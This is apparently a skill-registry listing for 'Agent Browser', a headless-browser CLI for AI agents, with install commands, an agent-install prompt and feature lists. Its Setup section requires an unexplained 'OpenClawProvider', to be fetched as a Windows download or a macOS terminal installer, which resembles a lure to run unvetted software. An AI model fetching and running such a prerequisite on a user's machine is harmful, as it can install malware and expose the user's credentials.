A high-performance Rust-based headless browser CLI designed for AI agents to interact with web pages using structured commands and element references.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install agent-browser-ymepfebfpc2x
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install agent-browser-ymepfebfpc2x using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Agent Browser?
Agent Browser is a sophisticated tool within the Openclaw Skills ecosystem that empowers AI agents to perform complex web automation. Built with a fast Rust core and a reliable Node.js fallback, it allows for seamless navigation, form filling, and data extraction. By providing a structured interface for headless browsers, it bridges the gap between raw web content and agentic reasoning.
This skill is particularly effective for developers looking to scale their Openclaw Skills by automating repetitive browser-based tasks. It simplifies the DOM into an accessibility-focused tree, making it easy for agents to identify and interact with elements via stable references. This approach ensures high reliability compared to traditional selector-based automation.
Agent Browser Use Cases
- Automating multi-step web workflows and complex form submissions.
- Extracting structured data and accessibility trees for AI analysis and research.
- Programmatic UI testing and visual regression checks across different devices.
- Generating PDF reports and high-resolution screenshots of dynamic web dashboards.
- Recording user interactions for documentation, debugging, or demonstration purposes.
How Agent Browser Works
- Initialize the browser session by navigating to a target URL using the open command.
- Generate a snapshot of the page to identify interactive elements and receive unique references like @e1 or @e2.
- Execute specific interaction commands such as click, fill, or scroll using the generated element references.
- Re-snapshot the page after any navigation or significant DOM updates to maintain accurate element tracking.
- Save session states, cookies, or localStorage to persist authentication and settings across different browser instances.
Agent Browser Setup
To integrate this into your Openclaw Skills, ensure you have Node.js and npm installed on your system.
Requirement: OpenClawProvider must be running. For Windows, download the provider package. For MacOS, use the terminal installer provided in the skill documentation.
Install the CLI globally using npm:
npm install -g agent-browser
agent-browser install
agent-browser install --with-deps
You can also build from source using pnpm if you require the latest development features.
Agent Browser Data Schema & Taxonomy
Agent Browser organizes its output and session data to be highly machine-readable, supporting the expansion of your Openclaw Skills.
| Data Type | Format | Description |
|---|---|---|
| Session State | .json | Contains cookies, localStorage, and authentication tokens. |
| Page Snapshots | Text/JSON | Structured accessibility tree with element references (@ref). |
| Media Exports | .png/.pdf/.webm | Visual captures and recordings of the browser viewport. |
| Network Logs | JSON | Tracked network requests, intercepted routes, and mock responses. |
Agent Browser Advanced Features
- Multi-session management allowing for isolated, parallel browser instances within a single environment.
- Network interception, request routing, and response mocking for complex testing and scraping scenarios.
- Granular device emulation including mobile viewports, touch support, and geolocation spoofing.
- Direct JavaScript evaluation to execute custom logic or extract specific values from the page context.
- Headed mode and trace recording for real-time visual debugging of agent-driven actions.
SKILL.md
Loading
Related Openclaw Skills
Agent Browser
A high-performance Rust and Node.js headless browser CLI designed for AI agents to interact with web pages via structured commands.
Agent Browser
A fast Rust-based headless browser CLI that enables AI agents to navigate and interact with web pages using structured commands.
Agent Browser
A high-performance Rust-based headless browser CLI designed for AI agents to perform complex web interactions and data extraction.
Agent Browser
A high-speed Rust-based headless browser CLI designed for AI agents to interact with web pages through structured commands.
Auto-Updater
An essential maintenance utility that automates daily updates for the Clawdbot core and all installed skills through scheduled cron tasks.
Auto-Updater
A maintenance skill that automatically updates the Clawdbot core and all installed skills once per day via a scheduled cron job.
Featured*
